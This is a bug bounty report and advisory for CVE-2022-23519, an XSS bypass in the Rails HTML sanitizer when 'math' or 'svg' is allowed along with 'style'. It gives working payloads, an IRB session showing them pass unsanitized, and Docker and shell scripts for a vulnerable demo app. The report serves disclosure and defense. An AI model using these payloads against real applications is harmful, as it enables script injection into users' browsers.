Internet Bug Bounty · Report #1805899
CVE-2022-23519: Rails::Html::SafeListSanitizer vulnerable to XSS when certain tags are allowed (math+style || svg+style)
Summary
Summary
There is a possible XSS vulnerability with certain configurations of Rails::Html::Sanitizer.
- Versions affected: ALL
- Not affected: NONE
- Fixed versions: 1.4.4
Impact
A possible XSS vulnerability with certain configurations of Rails::Html::Sanitizer may allow an attacker to inject content if the application developer has overridden the sanitizer's allowed tags in either of the following ways:
allow both "math" and "style" elements, or allow both "svg" and "style" elements
Code is only impacted if allowed tags are being overridden. Applications may be doing this in four different ways:
- using application configuration:
# In config/application.rb
config.action_view.sanitized_allowed_tags = ["math", "style"]
# or
config.action_view.sanitized_allowed_tags = ["svg", "style"]
see https://guides.rubyonrails.org/configuring.html#configuring-action-view
- using a
:tagsoption to the Action View helpersanitize:
<%= sanitize @comment.body, tags: ["math", "style"] %>
<%# or %>
<%= sanitize @comment.body, tags: ["svg", "style"] %>
see https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize
- using Rails::Html::SafeListSanitizer class method
allowed_tags=:
# class-level option
Rails::Html::SafeListSanitizer.allowed_tags = ["math", "style"]
# or
Rails::Html::SafeListSanitizer.allowed_tags = ["svg", "style"]
- using a
:tagsoptions to the Rails::Html::SafeListSanitizer instance methodsanitize:
# instance-level option
Rails::Html::SafeListSanitizer.new.sanitize(@article.body, tags: ["math", "style"])
# or
Rails::Html::SafeListSanitizer.new.sanitize(@article.body, tags: ["svg", "style"])
All users overriding the allowed tags by any of the above mechanisms to include (("math" or "svg") and "style") should either upgrade or use one of the workarounds immediately.
Workarounds
Remove "style" from the overridden allowed tags, or remove "math" and "svg" from the overridden allowed tags.
References
CWE - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (4.9) https://hackerone.com/reports/1656627
How it was found
The following is from: https://hackerone.com/reports/1656627
Intro
The Rails HTML sanitzier allows to set certain combinations of tags in it's allow list that are not properly handled.
Similar to the report 1530898, which identified the combinationselect and style as vulnerable,
my fuzz testing from today suggests that also svg and style as well as math and style allow XSS.
The following are PoCs for each of these allow list:
svgandstyle:<svg><style><script>alert(1)</script></style></svg>mathandstyle:<math><style><img src=x onerror=alert(1)></style></math>
See the following IRB session:
irb(main):016:0> require 'rails-html-sanitizer'
=> false
irb(main):017:0> Rails::Html::SafeListSanitizer.new.sanitize("<svg><style><script>alert(1)</script></style></svg>", tags: ["svg", "style"]).to_s
=> "<svg><style><script>alert(1)</script></style></svg>"
irb(main):018:0> Rails::Html::SafeListSanitizer.new.sanitize("<math><style><img src=x onerror=alert(1)></style></math>", tags: ["math", "style"]).to_s
=> "<math><style><img src=x onerror=alert(1)></style></math>"
irb(main):019:0> puts Rails::Html::Sanitizer::VERSION
1.4.3
=> nil
Sample Vulnerable Rails Application
To build a sample rails application that is vulnerable, I've used the following Dockerfile:
FROM ruby:3.1.2
RUN apt-get update && apt-get install -y vim
WORKDIR /usr/src/app
RUN gem install rails && rails new myapp
WORKDIR /usr/src/app/myapp
COPY build-rails-app.sh ./build-rails-app.sh
RUN sh ./build-rails-app.sh
RUN RAILS_ENV=production rails assets:precompile
CMD ["./bin/rails", "server", "-b", "0.0.0.0", "-e", "production"]
In the same directory, put a shell script build-rails-app.sh which writes the app:
#!/ibn/sh
# make routes
cat << EOF > ./config/routes.rb
Rails.application.routes.draw do
get "/poc1", to: "poc1#index"
get "/poc2", to: "poc2#index"
end
EOF
# make Poc1 endpoint
# http://localhost:8888/poc1?name=%3Csvg%3E%3Cstyle%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/style%3E%3Csvg%3E
bin/rails generate controller Poc1 index --skip-routes
cat << EOF > ./app/controllers/poc1_controller.rb
class Poc1Controller < ApplicationController
def index
@name = params[:name] || "put your name here"
end
end
EOF
cat << EOF > ./app/views/poc1/index.html.erb
<h1> Hello <%= sanitize @name, tags: ["svg", "style"] %> </h1>
<br>
PoC with a sanitized, reflected parameter 'name' for which 'svg' annd 'style' tags are allowed.
<br>
<%= link_to "Go to PoC", "/poc1?name=<svg><style><script>alert(1)</script></style><svg>" %>
<br>
<br>
Using: rails-html-sanitizer <%= Rails::Html::Sanitizer::VERSION %>
EOF
# make Poc2 endpoint
# http://localhost:8888/poc2?name=%3Cmath%3E%3Cstyle%3E%3Cimg%20src=x%20onerror=alert(1)%3E%3C/style%3E%3Cmath%3E
bin/rails generate controller Poc2 index --skip-routes
cat << EOF > ./app/controllers/poc2_controller.rb
class Poc2Controller < ApplicationController
def index
@name = params[:name] || "put your name here"
end
end
EOF
cat << EOF > ./app/views/poc2/index.html.erb
<h1> Hello <%= sanitize @name, tags: ["math", "style"] %> </h1>
<br>
PoC with a sanitized, reflected parameter 'name' for which 'math' annd 'style' tags are allowed.
<br>
<%= link_to "Go to PoC", "/poc2?name=<math><style><img src=x onerror=alert(1)></style><math>" %>
<br>
<br>
Using: rails-html-sanitizer <%= Rails::Html::Sanitizer::VERSION %>
EOF
With the following Makefile you can build and run the application
.PHONY: build
build:
docker build -t local/railspoc:latest .
.PHONY: run
run:
docker run -it --rm -p 127.0.0.1:8888:3000 local/railspoc:latest
Now you have a Rails application with two routes /poc1 and /poc2 running locally. Visit:
- http://localhost:8888/poc1?name=%3Csvg%3E%3Cstyle%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/style%3E%3Csvg%3E
- http://localhost:8888/poc2?name=%3Cmath%3E%3Cstyle%3E%3Cimg%20src=x%20onerror=alert(1)%3E%3C/style%3E%3Cmath%3E
See the screenshot in https://hackerone.com/reports/1656627 for what it will roughly look like. Both alerts should be executed.
Impact
It is possible to bypass Rails::Html::SafeListSanitizer filtering and perform an XSS attack.